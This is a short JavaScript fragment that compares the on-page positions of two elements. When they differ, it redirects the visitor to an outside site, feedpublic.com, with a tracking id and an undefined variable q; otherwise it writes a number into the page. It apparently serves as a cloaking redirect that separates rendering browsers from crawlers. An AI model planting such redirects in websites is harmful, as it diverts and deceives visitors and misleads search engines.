var D=document; function AbsPos(O, Parent){ var X=0, Y=0, Next, D=document; Next=O; if (Parent==null) Parent=D; while (Next!=null && Next!==Parent){ Y+=Next.offsetTop; X+=Next.offsetLeft; Next=Next.offsetParent; } return [X, Y]; } var first = AbsPos(D.getElementById('first')); var second = AbsPos(D.getElementById('second')); if (first[0] != second[0]) { document.location.href = 'http://feedpublic.com/index.php?said=tp1977&q='+q; } else { document.write('2055070570'); }